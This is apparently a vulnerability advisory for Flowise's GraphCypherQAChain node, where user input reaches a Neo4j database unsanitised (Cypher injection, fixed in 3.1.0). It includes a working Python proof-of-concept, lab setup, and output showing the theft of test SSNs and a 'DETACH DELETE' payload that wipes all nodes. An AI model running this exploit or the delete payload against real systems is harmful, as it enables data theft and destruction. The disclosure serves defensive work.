The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.
| Field | Value |
|-------|-------|
| Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts |
| Affected Lines | 193-219 (run method) |
To exploit this vulnerability, the following conditions must be met:
/api/v1/prediction/{flowId})<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />
In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const chain = nodeData.instance as GraphCypherQAChain
// ...
const obj = {
query: input // User input passed directly
}
// ...
response = await chain.invoke(obj, { callbacks }) // Executed without escaping
}
An attacker with access to a vulnerable chatflow can:
DETACH DELETE to wipe entire database#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)
Usage:
python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
ap.add_argument("--token", help="Bearer token / API key if required")
ap.add_argument(
"--injection",
default="MATCH (n) RETURN n",
help="Cypher payload to inject",
)
args = ap.parse_args()
payload = {
"question": args.injection,
"overrideConfig": {},
}
headers = {}
if args.token:
headers["Authorization"] = f"Bearer {args.token}"
url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"
try:
status, body = post_json(url, payload, headers)
print(body if body else f"(empty response, HTTP {status})")
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
1. Start Neo4j with Docker:
docker run -d \
--name neo4j-test \
-p 7474:7474 \
-p 7687:7687 \
-e NEO4J_AUTH=neo4j/testpassword123 \
neo4j:latest
2. Create test data (in Neo4j Browser at http://localhost:7474):
CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)
3. Configure Flowise chatflow (see screenshot)
# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
--flow-id <FLOW_ID> --token <API_KEY> \
--injection "MATCH (n) DETACH DELETE n"
Cypher injection reaching Neo4j directly:
$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...}
The error message comes from Neo4j, proving the injected Cypher is executed directly.
Data destruction confirmed:
$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}
Empty result indicates all nodes were deleted.
Sensitive data exfiltration:
$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}
| Software | From | Fixed in |
|---|---|---|
flowise
|
- | 3.1.0 |
flowise-components
|
- | 3.1.0 |
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